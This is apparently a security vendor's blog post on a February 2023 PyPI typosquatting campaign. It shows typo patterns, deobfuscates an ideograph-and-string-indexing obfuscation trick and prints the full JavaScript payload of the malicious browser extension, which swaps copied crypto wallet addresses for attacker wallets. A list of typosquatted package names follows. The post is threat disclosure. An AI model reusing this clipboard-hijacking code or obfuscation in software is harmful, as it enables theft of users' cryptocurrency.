Phylum Discovers Revived Crypto Wallet Address Replacement Attack
UPDATE: This campaign is still unfolding. Currently, the actor appears to have typosquatted several major packages in PyPI. We will continue to update this blog post as new details emerge.
In November of 2022, Phylum discovered and published an article about an attack on PyPI in which threat actors attempted to replace cryptocurrency addresses in developer clipboards with their own wallet addresses by using Python to write a malicious JavaScript extension that loads anytime a browser is opened on the machine.
At around 17:49 UTC on 9 February 2023, Phylum’s automated risk detection platform began alerting us to a long series of suspicious publications which appear to be a revived attempt to deliver the same crypto wallet clipboard replacing malware. This time, however, the attacker changed the obfuscation technique and radically increased the volume of attacks.
Typosquatting Again
As before, the initial vector is typosquatting. Last time they published just over 2 dozen packages but this time we saw twenty times as many - over 451 unique packages. These targeted some very popular packages, many of them in the crypto/finance and web development space:
bitcoinlib
ccxt
cryptocompare
cryptofeed
freqtrade
selenium
solana
vyper
websockets
yfinance
pandas
matplotlib
aiohttp
beautifulsoup
tensorflow
selenium
scrapy
colorama
scikit-learn
pytorch
pygame
pyinstaller
The attacker increased the number of packages from their last attack by trying to register the same code in every possible simple typo of a package name. For example, in the case of vyper
, the user zolotaya.sofiya registered 13 packages, nearly simultaneously.
- Deletion of a single character
- yper
- vper
- vyer
- vype
- Duplication of a single character
- vvyper
- vyyper
- vypper
- vypeer
- vyperr
- Transposition of two characters
- yvper
- vpyer
- vyepr
- vypre
This technique is trivially easy to automate with a script (we leave this as an exercise for the reader), and as the length of the name of the legitimate package increases, so do the possible typosquats. For example, our system detected 38 typosquats of the cryptocompare
package published nearly simultaneously by the user named pinigin.9494
.
The Obfuscation Technique
The obfuscation technique in these packages is significantly different from the packages we looked at in November. Here’s a screenshot of yfinacne
Initially, this appears formidable. The first thing that we noticed is that the function and variable identifiers appear to be random 16-long combinations from the following table of Chinese Ideographs:
Unicode code point | Ideograph | Definition |
---|---|---|
0x4eba | 人 | man; people; mankind; someone else |
0x5200 | 刀 | knife; old coin; measure |
0x53e3 | 口 | mouth; open end; entrance, gate |
0x5973 | 女 | woman, girl; feminine |
0x5b50 | 子 | child; fruit, seed of |
0x5c71 | 山 | mountain, hill, peak |
0x65e5 | 日 | sun; day; daytime |
0x6708 | 月 | moon; month |
0x6728 | 木 | tree; wood, lumber; wooden |
0x6c34 | 水 | water, liquid, lotion, juice |
0x76ee | 目 | eye; look, see; division, topic |
0x99ac | 馬 | horse; surname |
0x9a6c | 马 | horse; surname |
0x9ce5 | 鳥 | bird |
0x9e1f | 鸟 | bird |
Next, on line 5 we see the following:
''.join(map(getattr(__builtins__, oct.__str__()[-3 << 0] + hex.__str__()[-1 << 2] + copyright.__str__()[4 << 0]), [(((1 << 4) - 1) << 3) - 1, ((((3 << 2) + 1)) << 3) + 1, (7 << 4) - (1 << 1), ((((3 << 2) + 1)) << 2) - 1, (((3 << 3) + 1) << 1)]))
We can see a series of these kinds of calls oct.__str__()[-3 << 0]
. The [-3 << 0]
evaluates to [-3]
and oct.__str__()
evaluates to the string '<built-in function oct>'
. Using Python’s index operator []
on a string with a -3
will grab the 3rd character from the end of the string, in this case '<built-in function oct>'[-3]
will evaluate to 'c'
. Continuing with this on the other 2 here gives us 'c' + 'h' + 'r'
and simply evaluating the complex bitwise arithmetic tacked on to the end leaves us with:
''.join(map(getattr(__builtins__, 'c' + 'h' + 'r'), [119, 105, 110, 51, 50]))
The getattr(__builtins__, 'c' + 'h' + 'r')
just gives us the builtin function chr
and then it maps chr
to the list of ints [119, 105, 110, 51, 50]
and then joins it all together into a string ultimately giving us 'win32'
. This technique is continued throughout the entirety of the code.
So while this obfuscation is interesting and builds up extremely complex and highly obfuscated looking code (especially when combined with the use of Chinese characters in the variables names), from a dynamic standpoint this is trivial. Python is an interpreted language, and the code must run. We simply have to evaluate these instances and it reveals exactly what the code is doing.
The Maliciousness
Ultimately, this code is attempting to do exactly what we discovered in November’s blog post and that is quietly replace any crypto wallet address copied to the user’s clipboard with the attacker’s controlled wallet addresses. It does that by creating a browser extension and then writes the following JavaScript to that extension:
let page = chrome.extension.getBackgroundPage();
var inputElement = document.createElement('input');
document.body.appendChild(inputElement);
inputElement.focus();
function checkWalletAddresses() {
document.execCommand('paste');
var clipboardContent = inputElement.value;
clipboardContent = clipboardContent.replace(/^(0x)[A-Fa-f0-9]{40}$/g, '0x6eb2103839011Ed56c98145b3d3f9d6BE1b4dA63');
clipboardContent = clipboardContent.replace(/^T[A-Za-z1-9]{33}$/g, 'TK3dtT7vYLkhUyzLqbQMmsrM36QzFnmfaa');
clipboardContent = clipboardContent.replace(/^(bnb1)[0-9a-z]{38}$/g, 'bnb1pncs5ct0rdh3rcdms8708x9jrdy038ml33ceuw');
clipboardContent = clipboardContent.replace(/^([13]{1}[a-km-zA-HJ-NP-Z1-9]{26,33}|bc1[a-z0-9]{39,59})$/g, 'bc1qkjm7r677a4fkxcmx9kzlk55a9eaqtztq8zwrc2');
clipboardContent = clipboardContent.replace(/^[LM3][a-km-zA-HJ-NP-Z1-9]{26,33}$/g, 'LcVct9KwHwUKftDNjbBxUtjK9WeUkYbRN3');
clipboardContent = clipboardContent.replace(/^r[0-9a-zA-Z]{24,34}$/g, 'rJd2pxs7TxE77W8X3Ezt2QyrhMJixMehPx');
clipboardContent = clipboardContent.replace(/^D{1}[5-9A-HJ-NP-U]{1}[1-9A-HJ-NP-Za-km-z]{32}$/g, 'DFbEVJUt9TcyBgVGriy3DcNBwYhK3s7Yhx');
clipboardContent = clipboardContent.replace(/^addr1[a-z0-9]+$/g, 'addr1q8206rrze22rz8g5lggn4clv7zu9mq6w6a6llvw8v3l7r8k5l5xx9j55xyw3f7s38t37eu9ctkp5a4m4l7cuwerlux0qxlhwvz');
clipboardContent = clipboardContent.replace(/^[48]([0-9AB]{1})([0-9a-zA-Z]{93})$/g, '41iwYzbS1KKX8DFySxDcGBGGfJzywUeHxWumm4fjYxtYCiHtysXmq3P7RqG18Tv5UDKGNQegefxS2FFqrqeapvB7FuYSBJv');
clipboardContent = clipboardContent.replace(/^G[0-7A-Za-z]{55}$/g, 'GCUPRZDN5RGSO3MC4LBIZBJMCS5KNUYQI2HZNUHVEBC5LNWZODWQ24XH');
\tclipboardContent = clipboardContent.replace(/^cosmos[a-z0-9]{39}$/g, 'cosmos1cd3hxdkc775zj75xtd3gqp8s7hynxkzewcf58y');
inputElement.value = clipboardContent;
inputElement.select();
document.execCommand('copy');
inputElement.value = '';
}
setInterval(checkWalletAddresses, 1000);
It then tries to establish persistence by getting the machine’s browser(s) to load this extension anytime a browser is opened. See the previous post for more details about this.
Conclusions
What can we takeaway from all of this?
- This attacker significantly increased their footprint in
pypi
through automation. Flooding the ecosystem with packages like this will continue. - The use of Chinese characters, or any other Unicode plane for that matter, is an easy misdirection to detect and to dismiss.
- Indexing into a Python string by calling the
__str__()
method is clever. The vast array of Python strings available like this can be used to build up nearly any other string of code that can be used for malicious intent. However, the code must run, and all of these kinds of obfuscation techniques are ultimately hopeless.
Nevertheless, in light of all these things, the attacker doesn’t have to be right for very long to be successful.
Malicious Package List
aaiohttp
aihottp
aiohhttp
aiohtpt
aiohtt
aiohttpp
aioohttp
aiothtp
aiottp
amtplotlib
aohttp
apndas
atplotlib
bautifulsoup4
bbitcoinlib
beaautifulsoup4
beatuifulsoup4
beautiffulsoup4
beautiflsoup4
beautiflusoup4
beautifullsoup4
beautifulosup4
beautifuloup4
beautifulsooup4
beautifulsop4
beautifulsou4
beautifulsoup44
beautifulsoupp4
beautifulsouup4
beautifulssoup4
beautifulsuop4
beautifusloup4
beautifuulsoup4
beautiifulsoup4
beautiulsoup4
beauttifulsoup4
beauutifulsoup4
beeautifulsoup4
beuatifulsoup4
beutifulsoup4
bicoinlib
bictoinlib
biitcoinlib
bitccoinlib
bitcinlib
bitcionlib
bitcoiinlib
bitcoilib
bitcoilnib
bitcoinlb
bitcoinlbi
bitcoinli
bitcoinlibb
bitcoinliib
bitcoinnlib
bitconilib
bitconlib
bitcooinlib
bitocinlib
bitoinlib
bittcoinlib
btcoinlib
bticoinlib
cccxt
ccolorama
ccryptocompare
ccryptofeed
ccx
ccxtt
ccxxt
cikit-learn
clorama
collorama
coloama
coloarma
coloorama
coloraa
coloramaa
coloramma
colorrama
coolrama
coorama
crptocompare
crptofeed
crpytocompare
crpytofeed
crryptocompare
crryptofeed
crypocompare
crypofeed
crypotcompare
crypotfeed
crypptocompare
crypptofeed
cryptcompare
cryptcoompare
cryptfeed
cryptfoeed
cryptoccompare
cryptocmopare
cryptocmpare
cryptocomapre
cryptocomare
cryptocommpare
cryptocompaare
cryptocompae
cryptocompaer
cryptocompar
cryptocomparee
cryptocomparre
cryptocomppare
cryptocomprae
cryptocompre
cryptocoompare
cryptocopare
cryptocopmare
cryptoeed
cryptoefed
cryptofed
cryptofede
cryptofee
cryptofeedd
cryptofeeed
cryptoocmpare
cryptoocompare
cryptoofeed
cryptoompare
crypttocompare
crypttofeed
crytocompare
crytofeed
crytpocompare
crytpofeed
cryyptocompare
cryyptofeed
csikit-learn
csrapy
cxct
cxt
cyptocompare
cyptofeed
cyrptocompare
cyrptofeed
ebautifulsoup4
ebsockets
ensorflow
erquests
eslenium
etnsorflow
feqtrade
ferqtrade
ffreqtrade
freeqtrade
freqqtrade
freqrade
freqrtade
freqtade
freqtarde
freqtraade
freqtrad
freqtradde
freqtradee
freqtrae
freqtraed
freqtrdae
freqtrde
freqtrrade
freqttrade
fretqrade
fretrade
frqetrade
frqtrade
frreqtrade
fyinance
homeworkte
homeworktee
homeworkteee
homeworkteeee
homeworktest
homeworktestt
homeworktesttt
homeworkwork
iaohttp
ibtcoinlib
itcoinlib
maatplotlib
maplotlib
matlotlib
matlpotlib
matpllotlib
matplolib
matploltib
matplootlib
matplotlb
matplotlibb
matplotliib
matplottlib
matpltlib
matpltolib
matpoltlib
matpplotlib
mattplotlib
mmatplotlib
mtaplotlib
mtplotlib
oclorama
olana
olorama
oslana
panads
panas
pandaas
pandsa
pgame
pinstaller
piynstaller
pnadas
pndas
ppandas
ppygame
ppyinstaller
ppython-binance
ppytorch
pthon-binance
ptorch
ptyhon-binance
ptyorch
pyagme
pygaame
pygae
pygamee
pygamme
pyggame
pygmae
pyhon-binance
pyhton-binance
pyiinstaller
pyinnstaller
pyinsaller
pyinsstaller
pyinstaaller
pyinstalelr
pyinstalle
pyinstalleer
pyinstallerr
pyinstalller
pyinstallr
pyinstallre
pyinstlaler
pyinsttaller
pyintaller
pyintsaller
pyisntaller
pynistaller
pythhon-binance
pythn-binance
pythno-binance
pytho-binance
python-bbinance
python-biance
python-biannce
python-biinance
python-binaance
python-binace
python-binacne
python-binanc
python-binancce
python-binancee
python-binane
python-binanec
python-binannce
python-binnace
python-binnance
python-binnce
python-bnance
python-bniance
python-ibnance
python-inance
pythonn-binance
pythoon-binance
pytoch
pytocrh
pytohn-binance
pyton-binance
pytoorch
pytorcch
pytorchh
pytorh
pytorrch
pytrch
pytthon-binance
pyttorch
pyygame
pyyinstaller
pyython-binance
pyytorch
rcyptocompare
rcyptofeed
reqtrade
rfeqtrade
ryptocompare
ryptofeed
scarpy
sccikit-learn
sccrapy
sciikit-learn
sciikt-learn
sciit-learn
sciki-learn
scikiit-learn
scikit-earn
scikit-elarn
scikit-laern
scikit-larn
scikit-leaarn
scikit-lean
scikit-leanr
scikit-lear
scikit-learnn
scikit-learrn
scikit-leearn
scikit-leran
scikit-lern
scikit-llearn
scikitt-learn
scikkit-learn
scikt-learn
scikti-learn
sckiit-learn
scraapy
scrapyy
scray
scrpay
scrrapy
seelenium
seelnium
seleenium
seleinum
seleium
seleniium
seleniu
seleniumm
seleniuum
selennium
selenum
sellenium
selneium
selnium
sickit-learn
sikit-learn
slana
sleenium
sloana
soalna
soana
solaa
solaan
solaana
solanaa
solanna
sollana
solna
solnaa
soolana
srcapy
sscikit-learn
sscrapy
sselenium
ssolana
teensorflow
tennsorflow
tenorflow
tenosrflow
tensofrlow
tensoorflow
tensorfflow
tensorfllow
tensorflo
tensorfloow
tensorfloww
tensorflw
tensorflwo
tensorlfow
tensorlow
tensorrflow
tensroflow
tenssorflow
tesnorflow
tesorflow
tnesorflow
tnsorflow
vper
vpyer
vvyper
vyepr
vyer
vype
vypeer
vyperr
vypper
vypre
vyyper
wbesockets
webbsockets
webockets
webosckets
websckets
webscokets
websocckets
websocets
websockeets
websockes
websockest
websocketss
websocketts
websockkets
websocktes
websockts
websokcets
websokets
websoockets
webssockets
weebsockets
wesbockets
wesockets
wwebsockets
yffinance
yfiance
yfiannce
yfiinance
yfinaance
yfinace
yfinacne
yfinancce
yfinancee
yfinane
yfinanec
yfinannce
yfinnace
yfinnance
yfinnce
yfnance
yfniance
ygame
yper
ypinstaller
ypthon-binance
ython-binance
ytorch
yvper
yyfinance